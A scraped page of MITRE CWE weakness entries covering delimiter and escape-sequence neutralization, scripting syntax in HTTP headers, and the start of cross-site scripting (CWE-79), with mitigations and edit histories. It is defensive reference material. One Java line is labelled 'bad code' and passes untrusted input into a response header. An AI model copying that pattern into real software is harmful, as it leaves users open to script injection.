MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
The mail program processes special "~" escape sequence even when not in interactive mode.
Setuid program does not filter escape sequences before calling mail program.
Mail function does not filter control characters from arguments, allowing mail message content to be modified.
Multi-channel issue. Terminal escape sequences not filtered from log files.
Multi-channel issue. Terminal escape sequences not filtered from log files.
Terminal escape sequences not filtered by terminals when displaying files.
Terminal escape sequences not filtered by terminals when displaying files.
Terminal escape sequences not filtered by terminals when displaying files.
Terminal escape sequences not filtered by terminals when displaying files.
Terminal escape sequences not filtered by terminals when displaying files.
MFV. (multi-channel). Injection of control characters into log files that allow information hiding when using raw Unix programs to read the files.
+ Potential Mitigations
Developers should anticipate that escape, meta and control characters/sequences will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.845The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1134SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEREscape, Meta, or Control Character / Sequence
The CERT Oracle Secure Coding Standard for Java (2011)IDS03-JDo not log unsanitized user input
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships, Taxonomy_Mappings
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Escape, Meta, or Control Character / Sequence
2008-04-11Failure to Remove Escape, Meta, or Control Character / Sequence
2010-04-05Failure to Sanitize Escape, Meta, or Control Sequences

CWE-146: Improper Neutralization of Expression/Command Delimiters

Weakness ID: 146
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as expression or command delimiters when they are sent to a downstream component.
+ Extended Description
As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.140Improper Neutralization of Delimiters
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Other

Technical Impact: Execute Unauthorized Code or Commands; Alter Execution Logic

+ Potential Mitigations
Developers should anticipate that inter-expression and inter-command delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

A shell metacharacter (covered in CWE-150) is one example of a potential delimiter that may need to be neutralized.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDelimiter between Expressions or Commands
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Embedded Delimiters", Page 408. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2010-04-05CWE Content TeamMITRE
updated Description, Name
2010-06-21CWE Content TeamMITRE
updated Applicable_Platforms, Description, Relationship_Notes
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Delimiter between Expressions or Commands
2010-04-05Failure to Sanitize Expression/Command Delimiters

CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

Weakness ID: 644
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash.
+ Extended Description

An attacker may be able to conduct cross-site scripting and other attacks against users who have these components enabled.

If a product does not neutralize user controlled data being placed in the header of an HTTP response coming from the server, the header may contain a script that will get executed in the client's browser context, potentially resulting in a cross site scripting vulnerability or possibly an HTTP response splitting attack. It is important to carefully control data that is being placed both in HTTP response header and in the HTTP response body to ensure that no scripting syntax is present, taking various encodings into account.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.116Improper Encoding or Escaping of Output
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Web Based (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

Run arbitrary code.
Confidentiality

Technical Impact: Read Application Data

Attackers may be able to obtain sensitive information.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In the following Java example, user-controlled data is added to the HTTP headers and returned to the client. Given that the data is not subject to neutralization, a malicious user may be able to inject dangerous scripting tags that will lead to script execution in the client browser.

(bad code)
Example Language: Java 
response.addHeader(HEADER_NAME, untrustedRawInputData);
+ Observed Examples
ReferenceDescription
Web server does not remove the Expect header from an HTTP request when it is reflected back in an error message, allowing a Flash SWF file to perform XSS attacks.
+ Potential Mitigations

Phase: Architecture and Design

Perform output validation in order to filter/escape/encode unsafe data that is being passed from the server in an HTTP response header.

Phase: Architecture and Design

Disable script execution functionality in the clients' browser.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.725OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-30
(CWE Draft 8, 2008-01-30)
Evgeny LebanidzeCigital
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Observed_Example
2008-10-14CWE Content TeamMITRE
updated Description, Name, Observed_Examples, Relationships
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Description, Name
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2010-04-05CWE Content TeamMITRE
updated Description, Name
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Observed_Examples
2010-12-13CWE Content TeamMITRE
updated Common_Consequences
2011-03-29CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Enabling_Factors_for_Exploitation
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-10-14Insufficient Filtering of HTTP Headers for Scripting Syntax
2009-05-27Insufficient Sanitization of HTTP Headers for Scripting Syntax
2010-04-05Improper Sanitization of HTTP Headers for Scripting Syntax

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Weakness ID: 79
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
+ Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

  1. Untrusted data enters a web application, typically from a web request.
  2. The web application dynamically generates a web page that contains this untrusted data.
  3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
  4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
  5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
  6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

  • Type 1: Reflected XSS (or Non-Persistent) - The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.
  • Type 2: Stored XSS (or Persistent) - The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
  • Type 0: DOM-Based XSS - In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

+ Alternate Terms
XSS:
A common abbreviation for Cross-Site Scripting.
HTML Injection:
Used as a synonym of stored (Type 2) XSS.
CSS:
In the early years after initial discovery of XSS, "CSS" was a commonly-used acronym. However, this would cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.80Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.81Improper Neutralization of Script in an Error Message Web Page
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.83Improper Neutralization of Script in Attributes in a Web Page
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.84Improper Neutralization of Encoded URI Schemes in a Web Page
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.85Doubled Character XSS Manipulations
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.86Improper Neutralization of Invalid Characters in Identifiers in Web Pages
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.87Improper Neutralization of Alternate XSS Syntax
PeerOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.352Cross-Site Request Forgery (CSRF)
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.184Incomplete List of Disallowed Inputs
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.494Download of Code Without Integrity Check
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Background Details

The Same Origin Policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

When referring to XSS, the Domain of a website is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Web Based (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Confidentiality

Technical Impact: Bypass Protection Mechanism; Read Application Data

